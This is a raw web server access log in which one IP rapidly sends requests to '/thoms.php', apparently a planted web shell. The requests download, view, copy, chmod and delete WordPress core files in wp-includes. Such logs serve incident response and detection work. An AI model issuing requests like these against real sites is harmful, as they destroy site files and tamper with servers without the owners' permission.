45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22010 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?del=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?del=SimplePie&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=SimplePie&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?del=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22262 "https://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22147 "https://163.245.207.76:443/thoms.php?del=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22270 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?del=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?dl=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22308 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cache-compat.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?del=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?chmod=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?dl=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22135 "https://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?chmod=fonts&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=fonts&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=embed.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttps-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttps-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?chmod=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttps-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22284 "https://163.245.207.76:443/thoms.php?chmod=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-filters.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=l10n.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22274 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?dl=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?dl=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?del=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:16 -0400] "GET /thoms.php?del=php-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=php-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22291 "https://163.245.207.76:443/thoms.php?del=php-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22262 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?dl=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
